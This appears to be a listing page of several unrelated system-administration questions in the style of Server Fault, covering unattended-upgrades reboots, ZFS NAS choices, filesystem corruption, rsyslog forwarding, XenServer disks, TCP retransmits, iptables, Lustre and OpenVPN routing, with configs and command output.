    I am running Debian 7 stable with unattended-upgrades (every morning at 6 AM) to make sure I am always fully updated. I have the following config: $ cat /etc/apt/apt.conf.d/50unattended-upgrades // Automatically upgrade packages from these origin patterns Unattended-Upgrade::Origins-Pattern { // Archive or Suite based matching: // Note that this will silently match a different release after // migration to the specified archive (e.g. testing becomes the // new stable). "o=Debian,a=stable"; "o=Debian,a=stable-updates"; // "o=Debian,a=proposed-updates"; "origin=Debian,archive=stable,label=Debian-Security"; }; // List of packages to not update Unattended-Upgrade::Package-Blacklist { // "vim"; // "libc6"; // "libc6-dev"; // "libc6-i686"; }; // This option allows you to control if on a unclean dpkg exit // unattended-upgrades will automatically run // dpkg --force-confold --configure -a // The default is true, to ensure updates keep getting installed //Unattended-Upgrade::AutoFixInterruptedDpkg "false"; // Split the upgrade into the smallest possible chunks so that // they can be interrupted with SIGUSR1. This makes the upgrade // a bit slower but it has the benefit that shutdown while a upgrade // is running is possible (with a small delay) //Unattended-Upgrade::MinimalSteps "true"; // Install all unattended-upgrades when the machine is shuting down // instead of doing it in the background while the machine is running // This will (obviously) make shutdown slower //Unattended-Upgrade::InstallOnShutdown "true"; // Send email to this address for problems or packages upgrades // If empty or unset then no email is sent, make sure that you // have a working mail setup on your system. A package that provides // 'mailx' must be installed. E.g. "[email protected]" Unattended-Upgrade::Mail "root"; // Set this value to "true" to get emails only on errors. Default // is to always send a mail if Unattended-Upgrade::Mail is set Unattended-Upgrade::MailOnlyOnError "true"; // Do automatic removal of new unused dependencies after the upgrade // (equivalent to apt-get autoremove) //Unattended-Upgrade::Remove-Unused-Dependencies "false"; // Automatically reboot *WITHOUT CONFIRMATION* if a // the file /var/run/reboot-required is found after the upgrade Unattended-Upgrade::Automatic-Reboot "true"; // Use apt bandwidth limit feature, this example limits the download // speed to 70kb/sec //Acquire::http::Dl-Limit "70"; As you can see Automatic-Reboot is true and thus the server should automaticly reboot. Last time I checked the server was online for over 100 days, which means that the update from Debian 7.1 to Debian 7.2 has happened while the server was up (and indeed, all updates were installed), but this involves kernel updates, which means that the server should reboot. It did not. The server was running very slow, so I rebooted which fixed that. I did some research and found out that unattended-upgrades responds to the reboot-required file in /var/run/. I touched this file and waited one week, the file still exists and the server did not reboot. So I think that unattended-uppgrades ignores the auto-reboot part. So, am I doing somthing wrong here? Why did the server not restart? The upgrade part works perfect by the way, its just the reboot part that does not seem to work as it should.

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  • Choice of an OS for a home ZFS NAS

    - by OlafM
    I am preparing a home NAS with an old Athlon 64 X2 3800+, 4 GB ECC RAM, Asus M2V MX motherboard, and a single 3 TB WDC Green (another one as mirror may be installed in the future). It's the cheapest solution I found that includes ECC memory and the higher energy consumption is offset by the lower (zero) cost of acquisition. The system will be used for: music storage and stream to other desktop computers; storage of the scanned dia slides (3-4k slides, 180 MB TIFF each one plus reduced quality JPEG version); stream of these photos to a local iPad 2 (maybe Plex App? not yet sure); (one additional) remote backup via rsync/ssh or ZFS send/receive. It will be controlled via remote ssh, maybe VNC, no monitor attached. Absolute requirement is a reliable ZFS solution, plus the ability to easily install packets/software/virtual machines and to update remotely (I will be the admin and I don't live near the NAS). I have mainly three options: NAS4free/FreeNAS OpenIndiana Solaris Express 11 (yeah yeah I know the license requirements, I will write a perl script on it to count it as development machine). Problems: NAS4free/FreeNAS (I tested only NAS4free) required embedded installation for remote upgrading, but full install for easy addition of software packets. Since I need at least AirVideo Server (linux/win) and Plex App (win/linux) to stream the photos and some videos to iPad (they both require virtualbox), but I cannot be there to install updates, NAS4free/FreeNAS are excluded. http://www.nas4free.org/general_information.html explains the issue: embedded can be remotely updated, full cannot. Solaris has also another advantage: Crashplan client supports Solaris and I'm already using it for other backups. I would like to leave the option open, even if I will be doing backups probably through zfs send/receive. NexentaStor was left out because zfs send/receive are not included in the free version. The question is now Solaris 11 Express over OpenIndiana. To ease the management, I will be using http://www.napp-it.org Which one would you suggest and why? I found lots of informations and it's difficult for me to decide. I think (from the napp-it manual) that Solaris has some additional options for SMB shares, but are they really needed at home? I think I won't even use ACLs, since normal unix-style permissions are enough. OpenIndiana has maybe more frequent updates (Solaris offers only security updates between releases), but again, do I need them? I don't think so. Moreover, this is a NAS that has to work and nothing else, I cannot risk having problems that require me to access the server. Isn't OpenIndiana a bit more... cutting edge (in the Solaris world)? I'm just asking, no need to focus on this for the answer :-) I would limit myself to these two options (SE11.1/OI) also because I will be making a NAS for me in the future (where high performances with Mac shares are also required) and Solaris has kernel support for AFP. I will use this server to gather experience as well. After this long question, thanks in advance! If you need additional info, let me know and I will update this post.

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  • Causes of sudden massive filesystem damage? ("root inode is not a directory")

    - by poolie
    I have a laptop running Maverick (very happily until yesterday), with a Patriot Torx SSD; LUKS encryption of the whole partition; one lvm physical volume on top of that; then home and root in ext4 logical volumes on top of that. When I tried to boot it yesterday, it complained that it couldn't mount the root filesystem. Running fsck, basically every inode seems to be wrong. Both home and root filesystems show similar problems. Checking a backup superblock doesn't help. e2fsck 1.41.12 (17-May-2010) lithe_root was not cleanly unmounted, check forced. Resize inode not valid. Recreate? no Pass 1: Checking inodes, blocks, and sizes Root inode is not a directory. Clear? no Root inode has dtime set (probably due to old mke2fs). Fix? no Inode 2 is in use, but has dtime set. Fix? no Inode 2 has a extra size (4730) which is invalid Fix? no Inode 2 has compression flag set on filesystem without compression support. Clear? no Inode 2 has INDEX_FL flag set but is not a directory. Clear HTree index? no HTREE directory inode 2 has an invalid root node. Clear HTree index? no Inode 2, i_size is 9581392125871137995, should be 0. Fix? no Inode 2, i_blocks is 40456527802719, should be 0. Fix? no Reserved inode 3 (<The ACL index inode>) has invalid mode. Clear? no Inode 3 has compression flag set on filesystem without compression support. Clear? no Inode 3 has INDEX_FL flag set but is not a directory. Clear HTree index? no .... Running strings across the filesystems, I can see there are what look like filenames and user data there. I do have sufficiently good backups (touch wood) that it's not worth grovelling around to pull back individual files, though I might save an image of the unencrypted disk before I rebuild, just in case. smartctl doesn't show any errors, neither does the kernel log. Running a write-mode badblocks across the swap lv doesn't find problems either. So the disk may be failing, but not in an obvious way. At this point I'm basically, as they say, fscked? Back to reinstalling, perhaps running badblocks over the disk, then restoring from backup? There doesn't even seem to be enough data to file a meaningful bug... I don't recall that this machine crashed last time I used it. At this point I suspect a bug or memory corruption caused it to write garbage across the disks when it was last running, or some kind of subtle failure mode for the SSD. What do you think would have caused this? Is there anything else you'd try?

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  • Forwarding rsyslog to syslog-ng, with FQDN and facility separation

    - by Joshua Miller
    I'm attempting to configure my rsyslog clients to forward messages to my syslog-ng log repository systems. Forwarding messages works "out of the box", but my clients are logging short names, not FQDNs. As a result the messages on the syslog repo use short names as well, which is a problem because one can't determine which system the message originated from easily. My clients get their names through DHCP / DNS. I've tried a number of solutions trying to get this working, but without success. I'm using rsyslog 4.6.2 and syslog-ng 3.2.5. I've tried setting $PreserveFQDN on as the first directive in /etc/rsyslog.conf (and restarting rsyslog of course). It seems to have no effect. hostname --fqdn on the client returns the proper FQDN, so the problem isn't whether the system can actually figure out its own FQDN. $LocalHostName <fqdn> looked promising, but this directive isn't available in my version of rsyslog (Available since 4.7.4+, 5.7.3+, 6.1.3+). Upgrading isn't an option at the moment. Configuring the syslog-ng server to populate names based on reverse lookups via DNS isn't an option. There are complexities with reverse DNS and the public cloud. Specifying for the forwarder to use a custom template seems like a viable option at first glance. I can specify the following, which causes local logging to begin using the FQDN on the syslog-ng repo. $template MyTemplate, "%timestamp% <FQDN> %syslogtag%%msg%" $ActionForwardDefaultTemplate MyTemplate However, when I put this in place syslog-ng seems to be unable to categorize messages by facility or priority. Messages come in as FQDN, but everything is put in to user.log. When I don't use the custom template, messages are properly categorized under facility and priority, but with the short name. So, in summary, if I manually trick rsyslog into including the FQDN, priority and facility becomes lost details to syslog-ng. How can I get rsyslog to do FQDN logging which works properly going to a syslog-ng repository? rsyslog client config: $ModLoad imuxsock.so # provides support for local system logging (e.g. via logger command) $ModLoad imklog.so # provides kernel logging support (previously done by rklogd) $ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat *.info;mail.none;authpriv.none;cron.none /var/log/messages authpriv.* /var/log/secure mail.* -/var/log/maillog cron.* /var/log/cron *.emerg * uucp,news.crit /var/log/spooler local7.* /var/log/boot.log $WorkDirectory /var/spool/rsyslog # where to place spool files $ActionQueueFileName fwdRule1 # unique name prefix for spool files $ActionQueueMaxDiskSpace 1g # 1gb space limit (use as much as possible) $ActionQueueSaveOnShutdown on # save messages to disk on shutdown $ActionQueueType LinkedList # run asynchronously $ActionResumeRetryCount -1 # infinite retries if host is down *.* @syslog-ng1.example.com *.* @syslog-ng2.example.com syslog-ng configuration (abridged for brevity): options { flush_lines (0); time_reopen (10); log_fifo_size (1000); long_hostnames (off); use_dns (no); use_fqdn (yes); create_dirs (no); keep_hostname (yes); }; source src { unix-stream("/dev/log"); internal(); udp(ip(0.0.0.0) port(514)); }; destination per_host_destination { file( "/var/log/syslog-ng/devices/$HOST/$FACILITY.log" owner("root") group("root") perm(0644) dir_owner(root) dir_group(root) dir_perm(0775) create_dirs(yes)); }; log { source(src); destination(per_facility_destination); };

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  • How to use more than 3 virtual disks in Linux using CentOS and XenServer

    - by 010110110101
    I've attached 5 virtual disks to a Virtual Machine in Citrix XenServer. The VM has the xs-tools installed. Initially it said that it couldn't add so many disks. After I installed the xs-tools, it let me add all the disks. But /dev doesn't show all the disks. It shows these: /dev/xvda /dev/xvdb /dev/xvdc /dev/cdrom Perhaps it is bound by the limits of an IDE bus? (3 disks + CD-ROM) If so, how does one change the VM to use SCSI? Edit: According to the documentation: 2.6.3. VM Block Devices In the PV Linux case, block devices are passed through as PV devices. XenServer does not attempt to emulate SCSI or IDE, but instead provides a more suitable interface in the virtual environment in the form of xvd* devices. It is also possible to get an sd* device using the same mechanism, where the PV driver inside the VM takes over the SCSI device namespace. This is not desirable so it is best to use xvd* where possible for PV guests (this is the default for Debian and RHEL). For Windows or other fully virtualized guests, XenServer emulates an IDE bus in the form of an hd* device. When using Windows, installing the Citrix Tools for Virtual Machines installs a special PV driver that works in a similar way to Linux, except in the fully virtualized environment. Still, with 5 virtual disks attached, I don't see the other xvd devices. Edit #2: (attached requested info) Host Machine: XenServer 6.1 Linux version 2.6.32.43-0.4.1.xs1.6.10.777.170770xen (geeko@buildhost) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-51)) #1 SMP Wed Apr 17 05:52:03 EDT 2013 Guest Machine: CentOS release 6.4 (Final) Linux version 2.6.32-358.6.2.el6.x86_64 ([email protected]) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) ) #1 SMP Thu May 16 20:59:36 UTC 2013 Output of 'fdisk -l' on Guest Machine: Note, the disk beyond the first 3 attached are not displaying -- there should be 4 100GB disks. (There are a total of 5 disks displayed in XenCenter -- 16GB, 100GB, 100GB, 100GB, 100GB) Disk /dev/xvdb: 107.4 GB, 107374182400 bytes 255 heads, 63 sectors/track, 13054 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xfb6c95b9 Device Boot Start End Blocks Id System /dev/xvdb1 1 13054 104856223+ 83 Linux Disk /dev/xvda: 17.2 GB, 17179869184 bytes 255 heads, 63 sectors/track, 2088 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x000e5f41 Device Boot Start End Blocks Id System /dev/xvda1 * 1 64 512000 83 Linux Partition 1 does not end on cylinder boundary. /dev/xvda2 64 2089 16264192 8e Linux LVM Disk /dev/xvdc: 107.4 GB, 107374182400 bytes 255 heads, 63 sectors/track, 13054 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0xed249ced Device Boot Start End Blocks Id System /dev/xvdc1 1 13054 104856223+ 83 Linux Disk /dev/mapper/vg_blue-lv_root: 14.6 GB, 14571012096 bytes 255 heads, 63 sectors/track, 1771 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Disk /dev/mapper/vg_blue-lv_swap: 2080 MB, 2080374784 bytes 255 heads, 63 sectors/track, 252 cylinders Units = cylinders of 16065 * 512 = 8225280 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 I see that the Linux versions say SMP. The Guest VM doesn't say "xen" in the name. However, I have already run yum install kernel-xen. Could be a clue?

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  • TCP stops sending weirdly.

    - by Utoah
    In case to find out the cause of TCP retransmits on my Linux (RHEL, kernel 2.6.18) servers connecting to the same switch. I had a client-server pair send "Hello" to each other every 200us and captured the packets with tcpdump on the client machine. The command I used to mimic client and server are: while [ 0 ]; do echo "Hello"; usleep 200; done | nc server 18510 while [ 0 ]; do echo "Hello"; usleep 200; done | nc -l 18510 When the server machine was busy serving some other requests, the client suffered from abrupt retransmits occasionally. But the output of tcpdump seemed irrational. 16:04:58.898970 IP server.18510 > client.34533: P 4531:4537(6) ack 3204 win 123 <nop,nop,timestamp 1923778643 3452833828> 16:04:58.901797 IP client.34533 > server.18510: P 3204:3210(6) ack 4537 win 33 <nop,nop,timestamp 3452833831 1923778643> 16:04:58.901855 IP server.18510 > client.34533: P 4537:4549(12) ack 3210 win 123 <nop,nop,timestamp 1923778646 3452833831> 16:04:58.903871 IP client.34533 > server.18510: P 3210:3216(6) ack 4549 win 33 <nop,nop,timestamp 3452833833 1923778646> 16:04:58.903950 IP server.18510 > client.34533: P 4549:4555(6) ack 3216 win 123 <nop,nop,timestamp 1923778648 3452833833> 16:04:58.905796 IP client.34533 > server.18510: P 3216:3222(6) ack 4555 win 33 <nop,nop,timestamp 3452833835 1923778648> 16:04:58.905860 IP server.18510 > client.34533: P 4555:4561(6) ack 3222 win 123 <nop,nop,timestamp 1923778650 3452833835> 16:04:58.908903 IP client.34533 > server.18510: P 3222:3228(6) ack 4561 win 33 <nop,nop,timestamp 3452833838 1923778650> 16:04:58.908966 IP server.18510 > client.34533: P 4561:4567(6) ack 3228 win 123 <nop,nop,timestamp 1923778653 3452833838> 16:04:58.911855 IP client.34533 > server.18510: P 3228:3234(6) ack 4567 win 33 <nop,nop,timestamp 3452833841 1923778653> 16:04:59.112573 IP client.34533 > server.18510: P 3228:3234(6) ack 4567 win 33 <nop,nop,timestamp 3452834042 1923778653> 16:04:59.112648 IP server.18510 > client.34533: P 4567:5161(594) ack 3234 win 123 <nop,nop,timestamp 1923778857 3452834042> 16:04:59.112659 IP client.34533 > server.18510: P 3234:3672(438) ack 5161 win 35 <nop,nop,timestamp 3452834042 1923778857> 16:04:59.114427 IP server.18510 > client.34533: P 5161:5167(6) ack 3672 win 126 <nop,nop,timestamp 1923778858 3452834042> 16:04:59.114439 IP client.34533 > server.18510: P 3672:3678(6) ack 5167 win 35 <nop,nop,timestamp 3452834044 1923778858> 16:04:59.116435 IP server.18510 > client.34533: P 5167:5173(6) ack 3678 win 126 <nop,nop,timestamp 1923778860 3452834044> 16:04:59.116444 IP client.34533 > server.18510: P 3678:3684(6) ack 5173 win 35 <nop,nop,timestamp 3452834046 1923778860> Packet 3228:3234(6) from client was retransmitted due to ack timeout. What I could not understand was that the client machine did not send out any packets after the first 3228:3234(6) packets was sent. The server machine had advertised a window (scaled) large enough. The data transfer up to the retransmit was fine which meant no slow start should be in action. What can cause the client machine to stop sending until the packet timed out? BTW, I am unable to run tcpdump on the server machine.

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  • Router 2wire, Slackware desktop in DMZ mode, iptables policy aginst ping, but still pingable

    - by user135501
    I'm in DMZ mode, so I'm firewalling myself, stealthy all ok, but I get faulty test results from Shields Up that there are pings. Yesterday I couldn't make a connection to game servers work, because ping block was enabled (on the router). I disabled it, but this persists even due to my firewall. What is the connection between me and my router in DMZ mode (for my machine, there is bunch of others too behind router firewall)? When it allows router affecting if I'm pingable or not and if router has setting not blocking ping, rules in my iptables for this scenario do not work. Please ignore commented rules, I do uncomment them as I want. These two should do the job right? iptables -A INPUT -p icmp --icmp-type echo-request -j DROP echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all Here are my iptables: #!/bin/sh # Begin /bin/firewall-start # Insert connection-tracking modules (not needed if built into the kernel). #modprobe ip_tables #modprobe iptable_filter #modprobe ip_conntrack #modprobe ip_conntrack_ftp #modprobe ipt_state #modprobe ipt_LOG # allow local-only connections iptables -A INPUT -i lo -j ACCEPT # free output on any interface to any ip for any service # (equal to -P ACCEPT) iptables -A OUTPUT -j ACCEPT # permit answers on already established connections # and permit new connections related to established ones (eg active-ftp) iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #Gamespy&NWN #iptables -A INPUT -p tcp -m tcp -m multiport --ports 5120:5129 -j ACCEPT #iptables -A INPUT -p tcp -m tcp --dport 6667 --tcp-flags SYN,RST,ACK SYN -j ACCEPT #iptables -A INPUT -p tcp -m tcp --dport 28910 --tcp-flags SYN,RST,ACK SYN -j ACCEPT #iptables -A INPUT -p tcp -m tcp --dport 29900 --tcp-flags SYN,RST,ACK SYN -j ACCEPT #iptables -A INPUT -p tcp -m tcp --dport 29901 --tcp-flags SYN,RST,ACK SYN -j ACCEPT #iptables -A INPUT -p tcp -m tcp --dport 29920 --tcp-flags SYN,RST,ACK SYN -j ACCEPT #iptables -A INPUT -p udp -m udp -m multiport --ports 5120:5129 -j ACCEPT #iptables -A INPUT -p udp -m udp --dport 6500 -j ACCEPT #iptables -A INPUT -p udp -m udp --dport 27900 -j ACCEPT #iptables -A INPUT -p udp -m udp --dport 27901 -j ACCEPT #iptables -A INPUT -p udp -m udp --dport 29910 -j ACCEPT # Log everything else: What's Windows' latest exploitable vulnerability? iptables -A INPUT -j LOG --log-prefix "FIREWALL:INPUT" # set a sane policy: everything not accepted > /dev/null iptables -P INPUT DROP iptables -P FORWARD DROP iptables -P OUTPUT DROP iptables -A INPUT -p icmp --icmp-type echo-request -j DROP # be verbose on dynamic ip-addresses (not needed in case of static IP) echo 2 > /proc/sys/net/ipv4/ip_dynaddr # disable ExplicitCongestionNotification - too many routers are still # ignorant echo 0 > /proc/sys/net/ipv4/tcp_ecn #ping death echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all # If you are frequently accessing ftp-servers or enjoy chatting you might # notice certain delays because some implementations of these daemons have # the feature of querying an identd on your box for your username for # logging. Although there's really no harm in this, having an identd # running is not recommended because some implementations are known to be # vulnerable. # To avoid these delays you could reject the requests with a 'tcp-reset': #iptables -A INPUT -p tcp --dport 113 -j REJECT --reject-with tcp-reset #iptables -A OUTPUT -p tcp --sport 113 -m state --state RELATED -j ACCEPT # To log and drop invalid packets, mostly harmless packets that came in # after netfilter's timeout, sometimes scans: #iptables -I INPUT 1 -p tcp -m state --state INVALID -j LOG --log-prefix \ "FIREWALL:INVALID" #iptables -I INPUT 2 -p tcp -m state --state INVALID -j DROP # End /bin/firewall-start

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  • Lustre - issues with simple setup

    - by ethrbunny
    Issue: I'm trying to assess the (possible) use of Lustre for our group. To this end I've been trying to create a simple system to explore the nuances. I can't seem to get past the 'llmount.sh' test with any degree of success. What I've done: Each system (throwaway PCs with 70Gb HD, 2Gb RAM) is formatted with CentOS 6.2. I then update everything and install the Lustre kernel from downloads.whamcloud.com and add on the various (appropriate) lustre and e2fs RPM files. Systems are rebooted and tested with 'llmount.sh' (and then cleared with 'llmountcleanup.sh'). All is well to this point. First I create an MDS/MDT system via: /usr/sbin/mkfs.lustre --mgs --mdt --fsname=lustre --device-size=200000 --param sys.timeout=20 --mountfsoptions=errors=remount-ro,user_xattr,acl --param lov.stripesize=1048576 --param lov.stripecount=0 --param mdt.identity_upcall=/usr/sbin/l_getidentity --backfstype ldiskfs --reformat /tmp/lustre-mdt1 and then mkdir -p /mnt/mds1 mount -t lustre -o loop,user_xattr,acl /tmp/lustre-mdt1 /mnt/mds1 Next I take 3 systems and create a 2Gb loop mount via: /usr/sbin/mkfs.lustre --ost --fsname=lustre --device-size=200000 --param sys.timeout=20 --mgsnode=lustre_MDS0@tcp --backfstype ldiskfs --reformat /tmp/lustre-ost1 mkdir -p /mnt/ost1 mount -t lustre -o loop /tmp/lustre-ost1 /mnt/ost1 The logs on the MDT box show the OSS boxes connecting up. All appears ok. Last I create a client and attach to the MDT box: mkdir -p /mnt/lustre mount -t lustre -o user_xattr,acl,flock luster_MDS0@tcp:/lustre /mnt/lustre Again, the log on the MDT box shows the client connection. Appears to be successful. Here's where the issues (appear to) start. If I do a 'df -h' on the client it hangs after showing the system drives. If I attempt to create files (via 'dd') on the lustre mount the session hangs and the job can't be killed. Rebooting the client is the only solution. If I do a 'lctl dl' from the client it shows that only 2/3 OST boxes are found and 'UP'. [root@lfsclient0 etc]# lctl dl 0 UP mgc MGC10.127.24.42@tcp 282d249f-fcb2-b90f-8c4e-2f1415485410 5 1 UP lov lustre-clilov-ffff880037e4d400 00fc176e-3156-0490-44e1-da911be9f9df 4 2 UP lmv lustre-clilmv-ffff880037e4d400 00fc176e-3156-0490-44e1-da911be9f9df 4 3 UP mdc lustre-MDT0000-mdc-ffff880037e4d400 00fc176e-3156-0490-44e1-da911be9f9df 5 4 UP osc lustre-OST0000-osc-ffff880037e4d400 00fc176e-3156-0490-44e1-da911be9f9df 5 5 UP osc lustre-OST0003-osc-ffff880037e4d400 00fc176e-3156-0490-44e1-da911be9f9df 5 Doing a 'lfs df' from the client shows: [root@lfsclient0 etc]# lfs df UUID 1K-blocks Used Available Use% Mounted on lustre-MDT0000_UUID 149944 16900 123044 12% /mnt/lustre[MDT:0] OST0000 : inactive device OST0001 : Resource temporarily unavailable OST0002 : Resource temporarily unavailable lustre-OST0003_UUID 187464 24764 152636 14% /mnt/lustre[OST:3] filesystem summary: 187464 24764 152636 14% /mnt/lustre Given that each OSS box has a 2Gb (loop) mount I would expect to see this reflected in available size. There are no errors on the MDS/MDT box to indicate that multiple OSS/OST boxes have been lost. EDIT: each system has all other systems defined in /etc/hosts and entries in iptables to provide access. SO: I'm clearly making several mistakes. Any pointers as to where to start correcting them?

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  • iptables rule(s) to send openvpn traffic from clients over an sshuttle tunnel?

    - by Sam Martin
    I have an Ubuntu 12.04 box with OpenVPN. The VPN is working as expected -- clients can connect, browse the Web, etc. The OpenVPN server IP is 10.8.0.1 on tun0. On that same box, I can use sshuttle to tunnel into another network to access a Web server on 10.10.0.9. sshuttle does its magic using the following iptables commands: iptables -t nat -N sshuttle-12300 iptables -t nat -F sshuttle-12300 iptables -t nat -I OUTPUT 1 -j sshuttle-12300 iptables -t nat -I PREROUTING 1 -j sshuttle-12300 iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.10.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42 iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.0/8 -p tcp Is it possible to forward traffic from OpenVPN clients over the sshuttle tunnel to the remote Web server? I'd ultimately like to be able to set up any complicated tunneling on the server, and have relatively "dumb" clients (iPad, etc.) be able to access the remote servers via OpenVPN. Below is a basic diagram of the scenario: [Edit: added output from the OpenVPN box] $ sudo iptables -nL -v -t nat Chain PREROUTING (policy ACCEPT 1498 packets, 252K bytes) pkts bytes target prot opt in out source destination 1512 253K sshuttle-12300 all -- * * 0.0.0.0/0 0.0.0.0/0 Chain INPUT (policy ACCEPT 322 packets, 58984 bytes) pkts bytes target prot opt in out source destination Chain OUTPUT (policy ACCEPT 584 packets, 43241 bytes) pkts bytes target prot opt in out source destination 587 43421 sshuttle-12300 all -- * * 0.0.0.0/0 0.0.0.0/0 Chain POSTROUTING (policy ACCEPT 589 packets, 43595 bytes) pkts bytes target prot opt in out source destination 1175 76298 MASQUERADE all -- * eth0 10.8.0.0/24 0.0.0.0/0 Chain sshuttle-12300 (2 references) pkts bytes target prot opt in out source destination 17 1076 REDIRECT tcp -- * * 0.0.0.0/0 10.10.0.0/24 TTL match TTL != 42 redir ports 12300 0 0 RETURN tcp -- * * 0.0.0.0/0 127.0.0.0/8 $ sudo iptables -nL -v -t filter Chain INPUT (policy ACCEPT 97493 packets, 30M bytes) pkts bytes target prot opt in out source destination Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 131K 109M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 1370 89160 ACCEPT all -- * * 10.8.0.0/24 0.0.0.0/0 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-port-unreachable [Edit 2: more OpenVPN server output] $ netstat -r Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface default 192.168.1.1 0.0.0.0 UG 0 0 0 eth0 10.8.0.0 10.8.0.2 255.255.255.0 UG 0 0 0 tun0 10.8.0.2 * 255.255.255.255 UH 0 0 0 tun0 192.168.1.0 * 255.255.255.0 U 0 0 0 eth0 [Edit 3: still more debug output] IP forwarding appears to be enabled correctly on the OpenVPN server: # find /proc/sys/net/ipv4/conf/ -name forwarding -ls -execdir cat {} \; 18926 0 -rw-r--r-- 1 root root 0 Mar 5 13:31 /proc/sys/net/ipv4/conf/all/forwarding 1 18954 0 -rw-r--r-- 1 root root 0 Mar 5 13:31 /proc/sys/net/ipv4/conf/default/forwarding 1 18978 0 -rw-r--r-- 1 root root 0 Mar 5 13:31 /proc/sys/net/ipv4/conf/eth0/forwarding 1 19003 0 -rw-r--r-- 1 root root 0 Mar 5 13:31 /proc/sys/net/ipv4/conf/lo/forwarding 1 19028 0 -rw-r--r-- 1 root root 0 Mar 5 13:31 /proc/sys/net/ipv4/conf/tun0/forwarding 1 Client routing table: $ netstat -r Routing tables Internet: Destination Gateway Flags Refs Use Netif Expire 0/1 10.8.0.5 UGSc 8 48 tun0 default 192.168.1.1 UGSc 2 1652 en1 10.8.0.1/32 10.8.0.5 UGSc 1 0 tun0 10.8.0.5 10.8.0.6 UHr 13 0 tun0 10.10.0/24 10.8.0.5 UGSc 0 0 tun0 <snip> Traceroute from client: $ traceroute 10.10.0.9 traceroute to 10.10.0.9 (10.10.0.9), 64 hops max, 52 byte packets 1 10.8.0.1 (10.8.0.1) 5.403 ms 1.173 ms 1.086 ms 2 192.168.1.1 (192.168.1.1) 4.693 ms 2.110 ms 1.990 ms 3 l100.my-verizon-garbage (client-ext-ip) 7.453 ms 7.089 ms 6.248 ms 4 * * * 5 10.10.0.9 (10.10.0.9) 14.915 ms !N * 6.620 ms !N

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  • how to troubleshoot using rsyslog to output to a mysql database

    - by ChrisNZ
    Using FreeBSD 8.0 32 bit. I have installed rsyslogd 5.5.5 with ommysql. (installed ports /usr/ports/sysutils/rsyslog55 and /usr/ports/sysutils/rsyslog55-mysql) My rsyslog.conf file looks like: $ModLoad imudp $ModLoad imtcp $ModLoad ommysql $ModLoad immark.so $ModLoad imuxsock.so $ModLoad imklog.so $OptimizeForUniprocessor on $AllowedSender UDP, 10.0.0.0/8 $UDPServerAddress 0.0.0.0 $UDPServerRun 514 $UDPServerTimeRequery 2 # +SG560 *.* :ommysql:127.0.0.1,Syslog,sysloguser,mypassword My command line flags for rsyslogd are: -c5 -4 Checking the code with -c5 -N1 returns no errors. I have confirmed that rsyslogd is working by changing the last line to say: *.* /var/log/snapgear.log which results in messages appearing in the snapgear.log file. So it is probably something to do with my MySQL setup If I do: mysql -u sysloguser -p Syslog Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 56 Server version: 5.0.86 FreeBSD port: mysql-server-5.0.86 mysql> select * from SystemEvents; Empty set (0.00 sec) mysql> :-( I have confirmed that sysloguser has full privileges for the Syslog database. If I run rsyslogd on the console in debug mode: /usr/local/sbin/rsyslogd -f /usr/local/etc/rsyslog.conf -c5 -n -d I can see this sequence of events each time a message is received: 9244.376687256:28359280: main Q: entry added, size now log 1, phys 1 entries 9244.376705694:28359280: main Q: EnqueueMsg advised worker start 9244.376726647:28359280: Listening on UDP syslogd socket 4 (IPv4/port 514). 9244.376728602:28359280: --------imUDP calling select, active file descriptors (max 4): 4 9244.376890075:283593c0: wti 0x28306e80: worker awoke from idle processing 9244.376892031:283593c0: we deleted 0 objects and enqueued 0 objects 9244.376893986:283593c0: delete batch from store, new sizes: log 1, phys 1 9244.376895942:283593c0: msgConsumer processes msg 0/1 9244.376897898:283593c0: msg parser: flags 70, from '~NOTRESOLVED~', msg 'Jun 29 17:32:24 SG560 kernel: (20000629T1732244' 9244.376900132:283593c0: parse using parser list 0x283080e8 (the default list). 9244.376902088:283593c0: dropped LF at very end of message (DropTrailingLF is set) 9244.376904044:283593c0: Parser 'rsyslog.rfc5424' returned -2160 9244.376905999:283593c0: Message will now be parsed by the legacy syslog parser (one size fits all... ;)). 9244.376907955:283593c0: Parser 'rsyslog.rfc3164' returned 0 9244.376909910:283593c0: testing filter, f_pmask 255 9244.376911866:283593c0: Called action, logging to ommysql 9244.376918012:283593c0: actionTryResume: action state: susp, next retry (if applicable): 1277869250 [now 1277869244] 9244.376919967:283593c0: action call returned -2123 9244.376921923:283593c0: tryDoAction: unexpected error code -2123, finalizing 9244.376926113:283593c0: actionTryResume: action state: susp, next retry (if applicable): 1277869250 [now 1277869244] 9244.376928069:283593c0: ruleset: get iRet 0 from rule.ProcessMsg() 9244.376930024:283593c0: ruleset.ProcessMsg() returns 0 9244.376931980:283593c0: regular consumer finished, iret=0, szlog 0 sz phys 1 9244.376933936:283593c0: XXX: enqueueing data element 0 of 1 9244.376935891:283593c0: we deleted 1 objects and enqueued 0 objects 9244.376938126:283593c0: delete batch from store, new sizes: log 0, phys 0 